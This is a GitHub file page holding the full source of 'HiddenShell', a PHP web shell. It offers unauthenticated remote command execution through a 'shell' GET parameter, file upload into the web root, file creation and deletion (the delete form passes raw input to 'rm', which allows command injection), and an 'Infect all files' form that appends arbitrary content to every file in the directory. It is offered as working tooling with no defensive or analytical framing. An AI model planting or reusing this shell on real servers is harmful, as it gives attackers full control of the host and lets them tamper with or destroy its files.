-
Notifications
You must be signed in to change notification settings - Fork 4
/
hidden_shell.php
executable file
·279 lines (209 loc) · 4.91 KB
/
hidden_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
<html>
<head>
<title>HiddenShell</title>
</head>
<body>
<style>
body {
background-color: #000000;
color: #CCCCCC;
font-family: system, sans-serif;
}
a {
color: #ADFF2F;
}
a:hover {
color: #FF0000;
}
#v {
background-color: #262626;
}
</style>
<?php
global $page;
$page = $_SERVER['PHP_SELF'];
?>
<center>
<h1>..:: HiddenShell ::..</h1>
</center>
<h3><a href="http://www.damncode.net" title="DamnCode.net">http://www.damncode.net</a>
<br />
<br />
<table width='100%'>
<tr>
Safe Mode: <font color="#6495ED">
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode == 0) {
echo "<font color='lightgreen'>OFF</font>";
}
else {
echo "<font color='#FF0000'>ON</font>";
}
?>
</font>
</tr>
<br />
<tr>
Magic Quote: <font color="#6495ED">
<?php
error_reporting(0);
if(get_magic_quotes_gpc() == 0) {
echo "<font color='lightgreen'>OFF</font>";
}
else {
echo "<font color='#FF0000'>ON</font>";
}
?>
</font>
</tr>
<br />
<tr>
Server name: <font color="#6495ED"><?php echo $_SERVER['SERVER_NAME'] ?></font>
</tr>
<br />
<tr>
Server software: <font color="#6495ED"><?php echo $_SERVER['SERVER_SOFTWARE'] ?></font>
</tr>
<br />
<tr>
Current Dir: <font color="#6495ED"><?php echo getcwd() ?></font>
</tr>
<hr />
<td>
Files list: <font color="#6495ED">
<?php
echo "<br /><br />";
if($handle = opendir(getcwd())) {
echo "
<tr>
<td><font color='#FF0000'>DIR/FILE</font></td>
<td><font color='#FF0000'>File</font></td>
<td><font color='#FF0000'>File Size</font></td>
<td><font color='#FF0000'>File Perms</font></td>
</tr>";
while(false !== ($file = readdir($handle))) {
echo "
<tr>
<td width='10%'><font color='#87CEEB'><b>".strtoupper(filetype($file))."</b></font></td>
<td width='10%'><a href='$file' target='_blank'>".$file."</a></td>
<td width='10%'>".filesize($file)." byte</td>
<td width='10%'>".fileperms($file)."</td>
</tr>";
}
closedir($handle);
}
?>
</font>
</td>
</tr>
</table>
<br />
<hr />
<table>
<tr>
<td id='v'>
<center>
<form action='' method='post' enctype='multipart/form-data'>
Upload a file
<br />
<br />
<input type='file' name='file' />
<br />
<input type='submit' value='Load' />
</form>
</center>
</td>
<td>
<center>
<form action="" method='get'>
Shell
<br />
<br />
<input type='input' name='shell' />
<br />
<input type='submit' value='Exec' />
</form>
</center>
</td>
<td id='v'>
<center>
<form action="" method='get'>
Infect all files
<br />
<br />
<input type='input' name='infect' />
<br />
<input type='submit' value='Infect' />
</form>
</center>
</td>
<td>
<center>
Delete a file
<br />
<br />
<form action='' method='post'>
<input type='text' name='to_eliminate' />
<br />
<input type='submit' value='Delete' />
</form>
</center>
</td>
</tr>
<tr>
<td>
<center>
Create a file
<form action='' method='post'>
<input type='text' name='name' value='Name of the file' />
<br />
<textarea cols='40' rows='20' name='create'>Text of the file</textarea>
<br />
<input type='submit' value='Create' />
</form>
<td>
</center>
</tr>
</table>
<?php
/* Shell */
if($cmd = $_GET['shell']) {
$output = shell_exec($cmd);
$output = str_replace("\n", "<br />", $output);
echo "<tr><td>".$output."</td></tr>";
}
/* File Upload */
if($file = $_FILES['file']['tmp_name']) {
$name = basename($_FILES['file']['name']);
move_uploaded_file($file, $name);
header("Location: $page");
}
/* Infect */
if($handle = opendir(getcwd())) {
if($infection = $_GET['infect']) {
while(false !== ($file = readdir($handle))) {
$to_infect = fopen($file, 'a');
fwrite($to_infect, $infection);
fclose($to_infect);
header("Location: $page");
}
}
closedir($handle);
}
/* Create */
if($filename = $_POST['name']) {
$content = $_POST['create'];
$to_create = fopen($filename, 'w');
fwrite($to_create, $create);
fclose($file);
header("Location: $page");
}
/* Delete a file */
if($file_to_eliminate = $_POST['to_eliminate']) {
shell_exec("rm ".$file_to_eliminate);
header("Location: $page");
}
?>
</body>
</html>